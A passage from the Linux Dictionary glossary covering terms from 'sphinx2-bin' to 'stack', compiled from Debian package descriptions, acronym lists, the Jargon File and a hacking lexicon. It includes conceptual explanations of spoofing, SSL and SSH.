Structured Programming Facility From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sphinx2−bin

speech recognition utilities Sphinx 2 is a real−time, speaker−independent speech recognition system. This package contains examples and utilities that use Sphinx. It also includes a sample language model that is capable of recognizing simple commands like "go forward ten meters" and other commands one might use to tell a robot where to move. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sphinx2−hmm−6k

speech recognition library − default acoustic model Sphinx 2 is a real−time, speaker−independent speech recognition system. This package contains an acoustic model for Sphinx−II trained for close−talking microphones. It is the default acoustic model used by the demos, and should provide adequate performance for most desktop applications. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPID

Service Protocol IDentifier From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spider

A two deck solitaire game for the X Window System. Spider is delivered in two forms: small.spider is for systems without high resolution screens so the board will fit on the screen; round.spider has prettier card backs but takes up more room on the screen. The default is round.spider. If you wish to use small.spider, either call it directly, or change the link /usr/X11R6/bin/spider to point to small.spider instead of round.spider. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spider

An automated program that reads webpages from a website, then follows the hypertext links to other pages. If the Internet is a "web", then a spider is something that follows the strands of the web. Key point: A website can use the file "robots.txt" to give hints to spiders what they should, or should not, index. A big problem with websites is that spiders are really good at finding webpages, even those that website operators don't care to be exposed. However, users can still find these pages due to hits from search engines. Website operators can therefore "hide" pages by listing them in "robots.txt". However, hackers will therefore read "robots.txt" in order to find webpages that website operators want hidden. Example: Spammers use spiders to sift through web pages looking for e−mail addresses. For example, if you have a link that looks like <A HREF="mailto:spexamp@reckoning.robertgraham.com">me</A> then the spam spider will find the address and funnel spam to you. A partial defense against this is to URL−encode your e−mail address, which hides it from most spam spiders, but works in most browsers. See the page at http://www.robertgraham.com/tools/mailtoencoder.html for an example. Contrast: A spider pulls information inward; a worm pushes itself outward to other systems. A spider is a type of 'bot, rather than infectious malware like viruses, trojans, or worm. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

splac
a splash screen renderer From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Splack
Splack is a volunteer effort set up to continue work on the now defunct Slackware Sparc port. They try to track the official Slackware for Intel tree, which is the original Linux distribution. Slackware is based on the KISS (Keep It Simple − Stupid) principle, which makes it easy to maintain for anyone with a bit of Unix experience. Not a lot of point & click setup tools here. Splack v−y1test was released September 30, 2001. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

splain
standalone program to do the same thing From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

splash
a splash screen renderer From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

splay
Sound player for MPEG−1,2 layer 1,2,3 Based on maplay, this package decodes layer I, II, and III MPEG audio streams and plays them from the command line using a CD−quality audio device. It uses far less computing power than one commercial equivalent, "l3dec". From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spline
Akima spline interpolation. spline(1) interpolates an Akima−spline trough a series of given points. The Akima−spline interpolation approximates a manually drawn curve better than the ordinary splines, but the second derivation is not continuous. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

splint
Splint scans C code for mistakes and bad style. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

split
Creates one or more output files (as many as necessary) containing consecutive sections of the infile, or the standard input if none is given or the name `−' is given. By default, split puts 1000 lines of the input file, or whatever is left if it is less than that, into each output file. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

splitdigest
A program that splits mail−digests. It takes a digest from a file specified on the command line or STDIN and writes a mbox−format (Elm, Pine, VM, mailx, etc) folder with the digest. I have it preconfigured for Debian−User and Debian−Changes, but it is easily configured for any type of digest. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

splitvt
run two programs in a split screen A utility to split a vt100 compatible screen into two halves, upper and lower, and run a different program simultaneously in each half. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPM
Session Protocol Machine (OSI, ISO 8327) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPM

Set Program Mask From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPM

Software Performance Monitor From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPM

Source Program Maintenance From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPM

System Performance Monitor From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPM2

System Performance Monitor /2 (IBM, OS/2), "SPM/2" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPN

Substitution Permutation Network (cryptography) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPOF

Single Point Of Failure From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spong−client

A systems and network monitoring system −− client programs This package includes the spong applications for monitoring systems and network services, and text based programs for requesting information or acknowledging problems from the spong server Spong is a simple systems and network monitoring package. It does not compete with Tivoli, OpenView, UniCenter, or any other commercial packages. It is not SNMP based, it communicates via simple TCP based messages. It is written in perl and easily modifiable. Its features include: * client based monitoring (CPU, disk, processes, logs, etc.) * monitoring of network services (smtp, http, ping, pop, dns, etc.) * grouping of hosts (routers, servers, workstations, PCs) * rules based messaging when problems occur * configurable on a host by host basis * results displayed via text or web based interface * history of problems * verbose information to help diagnosis problems * modular programs to makes it easy to add or replace check functions or features * Big Brother BBSERVER emulation to allow Big Brother Clients to be used From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spong−common

A systems and network monitoring system −− common libraries This package includes the spong perl libraries, which all spong applications depend on. Spong is a simple systems and network monitoring package. It does not compete with Tivoli, OpenView, UniCenter, or any other commercial packages. It is not SNMP based, it communicates via simple TCP based messages. It is written in perl and easily modifiable. Its features include: * client based monitoring (CPU, disk, processes, logs, etc.) * monitoring of network services (smtp, http, ping, pop, dns, etc.) * grouping of hosts (routers, servers, workstations, PCs) * rules based messaging when problems occur * configurable on a host by host basis * results displayed via text or web based interface * history of problems * verbose information to help diagnosis problems * modular programs to makes it easy to add or replace check functions or features * Big Brother BBSERVER emulation to allow Big Brother Clients to be used From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spong−server

A systems and network monitoring system −− server programs This package includes the spong daemon, which collects and stores information from the spong client programs, and the program for sending out messages when problems occur. Spong is a simple systems and network monitoring package. It does not compete with Tivoli, OpenView, UniCenter, or any other commercial packages. It is not SNMP based, it communicates via simple TCP based messages. It is written in perl and easily modifiable. Its features include: * client based monitoring (CPU, disk, processes, logs, etc.) * monitoring of network services (smtp, http, ping, pop, dns, etc.) * grouping of hosts (routers, servers, workstations, PCs) * rules based messaging when problems occur * configurable on a host by host basis * results displayed via text or web based interface * history of problems * verbose information to help diagnosis problems * modular programs to makes it easy to add or replace check functions or features * Big Brother BBSERVER emulation to allow Big Brother Clients to be used From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spong−www

A systems and network monitoring system −− web interface This package includes the programs for displaying the current status and history of the systems and network services, as well as charts of based on logged information when used together with rrdtool, on the World Wide Web. Spong is a simple systems and network monitoring package. It does not compete with Tivoli, OpenView, UniCenter, or any other commercial packages. It is not SNMP based, it communicates via simple TCP based messages. It is written in perl and easily modifiable. Its features include: * client based monitoring (CPU, disk, processes, logs, etc.) * monitoring of network services (smtp, http, ping, pop, dns, etc.) * grouping of hosts (routers, servers, workstations, PCs) * rules based messaging when problems occur * configurable on a host by host basis * results displayed via text or web based interface * history of problems * verbose information to help diagnosis problems * modular programs to makes it easy to add or replace check functions or features * Big Brother BBSERVER emulation to allow Big Brother Clients to be used From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spoof

The word "spoof" generally means the act of forging your identity. More specifically, it means forging the sender's IP address (IP spoofing). Analogy: When you send a letter via normal post (snail mail), you write the recipient's name and address on the envelope. You typically also write the sender's name and address as well, so that if there is an error forwarding you letter (e.g. a stamp falls off), they know who sent the letter and can return it. However, you can easily spoof it. For example, someone I know absolutely had to send a letter, but had no stamps. So he simply put the actual recipient's name as the return address section of the envelope and dropped it into the mail box. The letter was returned to sender, which of course arrived at the intended recipient. Misunderstanding: Most people are interested in spoofing because they think it will allow them to hack a machine in a completely anonymous manner. It doesn't work this way. For example, Mitnick used IP spoofing in order to attack Shimomura's computers, but was caught anyway because spoofing does not truly hide the attacker. The problem is that all responses go back to the sender, so if you've spoofed the sender, you'll never see the responses. Therefore, the spoofing is useless for any normal activity. On the other hand, spoofing can still be useful in situations where seeing the response is not necessary. In the Mitnick instance, two machines trusted each other. Therefore, Mitnick was able to emulate and entire connection between the two machines by "predicting" what all the responses would be. He used this connection to open up something on the victim machine that he could then connect to normally. It was precursor scanning the and the post−spoof connection that Shimomura used to catch Mitnick. Example: A particularly nasty form of a spoofing is TCP sequence number prediction. Theoretically, you cannot spoof any protocol based upon TCP connections. This is because both sides of a TCP connection choose their own Initial Sequence Number (ISN). In theory, this is a completely random number that cannot be guessed. In practice, it can sometimes be easily guessed. Mitnick used this technique when hacking Shimomura. As of the end of 1999, operating systems such as Linux, WinNT, and Win2k have implemented truly random ISNs in order to defeat this type of attack. Example: In terms of volume of traffic, the most common use of spoofing today is smurf and fraggle attacks. These attacks spoofed packets against amplifiers in order to overload the victim's connection. This is done by sending a single packet to a broadcast address with the victim as the source address. All the machines within the broadcast domain then respond back to the victim, overloading the victim's Internet connection. Since smurfing accounts for more than half the traffic on some

backbones, ISPs are starting to take spoofing seriously and have started implementing measures within their routers that verify valid source addresses before passing the packets. As a consequence, spoofing will become increasingly more difficult as time goes on. Key point: Most of the discussion of spoofing centers around clients masquerading as somebody else. On the other hand, the reverse problem is equally worrisome: hackers can often spoof servers. For example, I post on my website that there is a serious security fix needed to protect yourself while on the web, and point you to http://www.micrsoft.com and hope that you never notice that the URL is misspelled. You would then go to that site (which would be really my server) and download the patch, which would really be a Trojan Horse that I designed in order to break into your computer. This is why server−side certificates are important: they allow someone to validate that the server isn't bogus. Key point: As the analogy with postal mail shows, many things can be forged, not just the sender's IP address. Most spammers forge their sender's e−mail address in order to avoid all the hate mail they will receive in response. Forging your own sender e−mail address is as simple as reconfiguring your e−mail client −− anybody can do it. (However, there are more secrets to this, which mean you can still be caught by any determined person). Contrast: Blind spoofing describes when you have no knowledge of the responses. Non−blind spoofing is when you are somewhere "in the line of site" as one end of the connection and can sniff some packets. For example, you may spoof a neighbor on the same cable−modem segment. Non−blind spoofing is also used in sniffers like juggernaut to either kill connections or to hijack them. From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spoof

vi. To capture, alter, and retransmit a communication stream in a way that misleads the recipient. As used by hackers, refers especially to altering TCP/IP packet source addresses or other packet−header data in order to masquerade as a trusted machine. This term has become very widespread and is borderline techspeak. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spool

Simultaneous Peripheral Operation On−Line − To send files to some device or program (a `spooler') that queues them up and does something useful with them later. From Linux Guide @FirstLinux
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPOOL

Simultaneous Peripheral Operations OnLine From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spool

vi. [from early IBM `Simultaneous Peripheral Operation On−Line', but is widely thought to be a backronym] To send files to some device or program (a `spooler') that queues them up and does something useful with them later. Without qualification, the spooler is the `print spooler' controlling output of jobs to a printer; but the term has been used in connection with other peripherals (especially plotters and graphics devices) and occasionally even for input devices. See also demon. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Spool (Simultaneous Peripheral Operation On−Line)

To send data to a program that queues up the information for later use (for example, the print spooler). From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spool file

n. Any file to which data is spooled to await the next stage of processing. Especially used in circumstances where spooling the data copes with a mismatch between speeds in two devices or pieces of software. For example, when you send mail under Unix, it's typically copied to a spool file to await a transport demon's attentions. This is borderline techspeak. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Spool files

Systems services like lpd, innd, sendmail, and uucp create intermediate files in the course of processing each request. These are called spool files and are stored somewhere under the /var/spool/ directory, usually to be processed and then deleted in sequence. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sporum
: a powerful Web−based discussion forum. A powerful Web−based discussion forum. Its features include user registration, cookie−based login, a built−in search engine, multiple forums, the ability to customize using the built−in administration package, and much more. Sporum uses SQL server to store data, so postings and searches run on the forum are extremely fast and efficient. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPP
: Scalable Parallel Processing (Intel) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPP

SPX

Sequenced Packet eXchange (Novell, Netware) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spyLinux

spyLinux is (s)mall (py)thon (Linux), a single disk distribution of Linux based on tomsrtbt with mxCGIPython. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQ

Shielded Quart [cable] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQ

Signal Quality (MODEM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sq

squeeze a sorted word list unsq − unsqueeze a sorted word list From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQA

Software Quality Assurance From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQD

Signal Quality Detector From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQFP

Shrink Quad Flat Package (CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQL

Structured Query Language (ISO 9075, DB, 4GL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQL

Structured Query Language is a language for manipulating data in relational databases. It has a very simple grammar and is a standard with wide industry support. SQL−based databases have become the core of the classical client/server database concept. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQL (Structured Query Language)

A specialized language for sending queries to databases. Most industrial−strength and many smaller database applications can be addressed using SQL. Each specific application will have its own slightly different version of SQL implementing features unique to that application, but all SQL−capable databases support a common subset of SQL. A example of an SQl statement is: SELECT name,email FROM people_table WHERE contry='uk'. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQL (Structured Query Language)

In database management systems, an IBM−developed query language widely used in mainframe and minicomputer systems. SQL is gaining acceptance on local area networks (LANs). SQL is an elegant and concise query language with only 30 commands. The four basic Commands (SELECT, UPDATE, DELETE, and INSERT) correspond to the four basic function d data manipulation (data retrieval data modification, data deletion, and data insertion, respectively). SQL queries approximate the structure of an English natural−language query. A data table consisting of columns (corresponding to data fields and rows (corresponding to data records) displays a query's results. See table oriented database management program. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQL (Structured Query Language)
The language used for manipulating records and fields (rows and columns) in a relational database. Sometimes erroneously pronounced "sequel". From I−gloss
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sql−editor
editor of SQL databases, with 'join' capability sql−editor lets the user edit the contents of the tables of a SQL database through a convenient Gtk graphical interface. The user can also select in the database, using an SQL SELECT query, and browse the results. sql−editor does not create tables, nor it does any other administrative task: you may use mysql−navigator for these. sql−editor is aware of joins (which can be specified by using reg.expressions) THIS EDITOR IS VERY YOUNG AND NOT THROUGHLY TESTED. DO NOT USE IT TO EDIT VALUABLE DATA. (though it should be safe to use it to browse data) sql−editor uses the python module dbGtk, which is included in this package; this module provides classes that automatically parse the structure of SQL tables and prepare Gtk widgets to edit the entries of the tables; these classes rely on a backend module that should be compatible to Python db−api 2.0. dbGtk has been tested on mySql databases, using the module MySQLdb; it may work on PostgreSQL databases, using the module pgSQL From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQLCLI
SQL Call Level Interface (SAG, SQL), "SQL/CLI" From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQLDA
Structured Query Language Descriptor Area (SQL) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQLDMO
SQL Distributed Management Objects (MS, SQL Server, OLE, DB) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQLDS
Structured Query Language/Data System (IBM, VMS), "SQL/DS" From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sqlite
A command line interface for SQLite SQLite is is a C library that implements an SQL database engine. Programs that link with the SQLite library can have SQL database access without running a separate RDBMS process. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQLJ
Structured Query Language − Java (SQL, Java, DB, ANSI, NCITS) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SQM
Software Quality Management From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sqsh
commandline SQL client for MS SQL and Sybase servers sqsh is a flexible commandline utility that uses the freetds libraries to connect to Sybase or Microsoft SQL servers. It is a useful debugging tool for identifying problems with other SQL applications, and it can be used as a productivity tool in its own right: unlike most SQL CLIs, sqsh's interactive shell lets you pipe the output of SQL queries directly to other Unix commands for further processing. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

squid
Internet Object Cache (WWW proxy cache) This is the Squid Internet Object Cache developed by the National Laboratory for Applied Networking Research (NLANR) and Internet volunteers. This software is freely available for anyone to use. The Squid home page is http://www.squid−cache.org/

From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

squidguard
filter, redirector and access controller plug for Squid squidGuard is a free (GPL), flexible and ultra fast filter, redirector and access controller plugin for squid. It lets you define multiple access rules with different restrictions for different user groups on a squid cache. squidGuard uses squid's standard redirector interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

squidtaild
Squid log monitoring program Squidtaild is a very fast, highly configurable Perl program that will dynamicly create html pages that display the violations that people made one or more of the filters you have applied to the squid proxy logging system. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

squirrelmail
Webmail for nuts SquirrelMail is a standards−based webmail package written in PHP4. It includes built−in pure PHP support for the IMAP and SMTP protocols, and all pages render in pure HTML 4.0 (with no Javascript) for maximum compatibility across browsers. It has very few requirements and is very easy to configure and install. SquirrelMail has all the functionality you would want from an email client, including strong MIME support, address books, and folder manipulation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

squishdot
Web−based News/Discussion System SquishDot is a web−based news publishing and discussion product for the Z Object Publishing Environment(ZOPE). It allows you to build a web−based news site along with the capability to handle threaded discussions with a minimum of configuration and day−to−day management. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sqwebmail
Webmail Server This package contains the SqWebMail webmail server. This CGI is used by the Courier mail server to provide webmail access to local mailboxes. SqWebMail is provided here as a separate package that can be used with other mail servers as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SR
Source Routing [bridging] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SR
Status Register (IC, assembler) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SRAM
Static Random Access Memory (RAM, IC, RL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SRAT
Static Resource Affinity Table (ACPI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SRB
Stream Request Block From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SRC
Semiconductor Research Council (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SRC
Standard Context Routing (MODACOM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SRC

System Resource Controller (AIX, IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

src2tex

A converter from source program files to TeX format files src2tex [resp. src2latex] is a sort of text converter from BASIC, C, C++, OBJECTIVE−C, COBOL, FORTRAN, HTML, JAVA, LISP, MAKE, PASCAL, PERL, SCHEME, SHELL, TCL/TK and ASIR, MACSYMA, MAPLE, MATHEMATICA, MATLAB, MAXIMA, MuPAD, OCTAVE, REDUCE to TeX [resp. LaTeX]. However, it is not a simple pretty−printer; actually, it is designed to fulfill the following desires: (1) We want to write mathematical formulae in comment area of source program. (2) We would like to patch PS or EPS figures upon source program. (3) We need a simple and easy−to−use tool which enables to combine documentation and manual with source program. (4) We often have to translate our program from text format to TeX format when we want to quote our own program in research report, lecture note, etc. That is quite time consuming, so it should be automated. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SRD

ssh

A standard for cryptographic connections over a TCP connection. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssh

Secure rlogin/rsh/rcp replacement (OpenSSH) This is the portable version of OpenSSH, a free implementation of the Secure Shell protocol as specified by the IETF secsh working group. Ssh (Secure Shell) is a program for logging into a remote machine and for executing commands on a remote machine. It provides secure encrypted communications between two untrusted hosts over an insecure network. X11 connections and arbitrary TCP/IP ports can also be forwarded over the secure channel. It is intended as a replacement for rlogin, rsh and rcp, and can be used to provide applications with a secure communication channel. In some countries, particularly Iraq, and Pakistan, it may be illegal to use any encryption at all without a special permit. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SSH

Secure SHell (Unix, Shell) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SSH

See Secure Shell (SSH). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SSH

The Secure Shell, or SSH, provides a way of running command line and graphical applications, and transferring files, over an encrypted connection, all that will be seen is junk. It is both a protocol and a suite of small command line applications, which can be used for various functions. SSH replaces the old Telnet application, and can be used for secure remote administration of machines across the Internet. However, it also has other features. SSH increases the ease of running applications remotely by setting up X permissions automatically. If you can log into a machine, it allows you to run a graphical application on it, unlikt Telnet, which requires users to have an understanding of the X authentication mechanisms that are manipulated through the xauth and xhost commands. SSH also has inbuilt compression, which allows your graphic applications to run much faster over the network. SCP (Secure Copy) and SFTP (Secure FTP) allow transfer of files over the remote link, either via SSH's own command line utilities or graphical tools like Gnome's GFTP. Like Telnet, SSH is cross−platform. You can find SSH server and clients for Linux, Unix and all flavours of Windows, BeOS, PalmOS, Java and embedded Oses used in routers. From Advanced Linux Pocketbook

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssh−add

adds RSA or DSA identities to the authentication agent From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssh−agent

authentication agent From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssh−askpass

under X, asks user for a passphrase for ssh−add This is Jim Knoble's free implementation of the ssh−askpass program. Jim calls this x11−ssh−askpass, but I've decided to call it ssh−askpass to make it easier to find, because this is almost certainly the version you want. The other two versions from the OpenSSH source are also available if you're interested (as ssh−askpass−ptk and ssh−askpass−gnome). The non−free implementation is no longer being packaged. Its source is still available, as part of ssh−nonfree's source. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssh−askpass−gnome

under X, asks user for a passphrase for ssh−add This has been split out of the main ssh package, so that the ssh will not need to depend upon the Gnome libraries. You probably want the ssh−askpass package instead, but this is provided to add to your choice and/or confusion. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssh−copy−id

install your identity.pub in a remote machine's authorized_keys From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssh−keygen

authentication key generation, management and conversion From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssh−keyscan

gather ssh public keys From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssh−krb5

Secure rlogin/rsh/rcp replacement (OpenSSH with Kerberos) This is the portable version of OpenSSH, a free implementation of the Secure Shell protocol as specified by the IETF secsh working group. Ssh (Secure Shell) is a program for logging into a remote machine and for executing commands on a remote machine. It provides secure encrypted communications between two untrusted hosts over an insecure network. X11 connections and arbitrary TCP/IP ports can also be forwarded over the secure channel. It is intended as a replacement for rlogin, rsh and rcp, and can be used to provide applications with a secure communication channel. This version of OpenSSH has been compiled with patches enabling Kerberos authentication for protocol versions 1 and 2. −− In some countries, particularly Iraq, and Pakistan, it may be illegal to use any encryption at all without a special permit. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sshd

SSL

Provides a "secure" (i.e. encrypted connection) between the web−browser and the web−server so that the data cannot be sniffed. SSL is used primarily for HTTP, but can also be used for other protocols such as FTP or Telnet. SSL provides three key features: digital−signatures to verify the identity of both the client and server, encryption to prevent the eavesdropping of data, and hashing to protect the integrity of the data. Key point: Web servers have a certificate signed by a trusted certificate authority (CA). This certificate allows the client and the server to generate random keys for the session and to exchange them securely (to defend against man−in−the−middle attacks). The generated random key is used to encrypt the rest of the contents of the connection, usually using RC4. U.S. export controls attempts to limit products used abroad to only 40−bits of key length, which can easily be broken. Key point: In SSL, the server first authenticates itself with the client (a technique that makes it more likely that e−commerce vendors are reputable). Therefore, if you want to set up your own SSL−based web server, you need to get a signed certificate from a CA. Furthermore, if you are outside the U.S., you will find it difficult to find one for 128−bits, though the Chaos Computer Club in Germany manages nicely. Key point: The chief reason SSL isn't used more widely is because it creates a huge performance hit on servers. In particular, the biggest hit comes from handling the public keys in the certificate, though normal encryption/decryption also plays a role. Hardware acceleration for both the public key cryptography and symmetric cryptography are becoming more and more popular. History: SSL was originally developed by Netscape to promote e−commerce. It is also known under the IETF standard name of TLS (Transport Layer Security) and the URL https://. History: In 1996, Netscape's implementation was found to be deeply flawed (i.e. crackable) because of problems in the random number generator. It seeded the generator with the time in seconds and milliseconds as well as the PID (process ID) and PPID (parent process ID). Since these numbers are easy to guess, it gives the random symmetric session key a complexity of roughly 20−bits, which can be easily be brute forced. Subsequent sessions are not re−seeded, which means the discovery of the PRNG seed only needs to be discovered once. Point: SSL allows the encryption algorithm to be negotiated (also known as the "cipher"). Some possible ciphers for SSL are: RC2 with 40−bit keys. RC4 with 40−bit keys. RC4 with 128−bit keys. DES with 40−bit keys. DES with 56−bit keys. Triple−DES with 112/168−bit keys. IDEA with 128−bit keys. Fortezza with 96−bit keys. Point: SSL handshake details: Negotiate cipher Exchange keys Authenticate the server Authenticate the client Authenticate previously exchanged data. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SSL

Secure Socket Layer (Netscape, RSA, WWW, cryptography) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SSL (Secure Socket Layer)

A protocol designed by Netscape Communications to enable encrypted, authenticated communications across the Internet. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SSL (Secure Socket Layer)

An Internet security standard proposed by Netscape Communications and incorporated into its Netscape Navigator browser and Netscape Commerce Server software. Unlike its chief competition, Secure HyperText Transport Protocol (Secure HTTP), SSL is application−independent it with all Internet tools, not just the World Wide Web (WWW). Applications that use SSL use public key encryption to ensure that, while information is being conveyed through the Internet, no one can intercept that information. Netscape Communications has released the SSL specification to the Internet community as an open standard. Terisa Systems is currently developing a hybrid SSL/Secure H'TTP specification that ensures that any browser with security features can access any secure Web site. See public key cryptography. security The protection of data so unauthorized users cannot examine or copy it. Mainframe computer systems ensured security by keeping the computer and its mass storage media under lock and key, and allowing access only through remote terminals equipped with displays but no disk drives. Although some experts argue that personal computer local area networks (LANs) should be set up the same way, the excessive centralization of mainframe computer systems was one of the main reasons for the development of personal computers. Concern for security shouldn't prevent a manager from distributing computing power−and computing autonomy−to subordinates. Sufficiently advanced data encryption and password−protection schemes can foil even the most skilled and determined hacker. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ssleay

Convenience package to replace ssleay with openssl ssleay was replaced by openssl This package provides, that you get openssl installed when you update ssleay. You can remove this package after the upgrade with: dpkg −−remove ssleay From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SSLTLS

Secure Socket Layer / Transport Layer Security (RSA, cryptography, TLS), "SSL/TLS" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sslwrap

Simple TCP service encryption using TLS/SSL sslwrap is a simple Unix service that sits over any simple TCP service such as POP3, IMAP, SMTP and encrypts all of the data on the connection using TLS/SSL. It uses openssl to support SSL version 2 and 3. It can be run out of inetd. It can also encrypt data for services located on another computer. It works with the servers you already have and does not require any modifications to your existing servers. More information can be found at the sslwrap web site http://www.rickk.com/sslwrap/ . From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SSM

STA
Spanning Tree Algorithm From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stack

n. The set of things a person has to do in the future. One speaks of the next project to be attacked as having risen to the top of the stack. "I'm afraid I've got real work to do, so this'll have to be pushed way down on my stack." "I haven't done it yet because every time I pop my stack something new gets pushed." If you are interrupted several times in the middle of a conversation, "My stack overflowed" means "I forget what we were talking about." The implication is that more items were pushed onto the stack than could be remembered, so the least recent items were lost. The usual physical example of a stack is to be found in a cafeteria: a pile of plates or trays sitting on a spring in a well, so that when you put one on the top they all sink down, and when you take one off the top the rest spring up a bit. See also push and pop. At MIT, PDL used to be a more common synonym for stack in all these contexts, and this may still be true. Everywhere else stack seems to be the preferred term. Knuth ("The Art of Computer Programming", second edition, vol. 1, p. 236) says: Many people who realized the importance of stacks and queues independently have given other names to these structures: stacks have been called push−down lists, reversion storages, cellars, nesting stores, piles, last−in−first−out ("LIFO") lists, and even yo−yo lists! 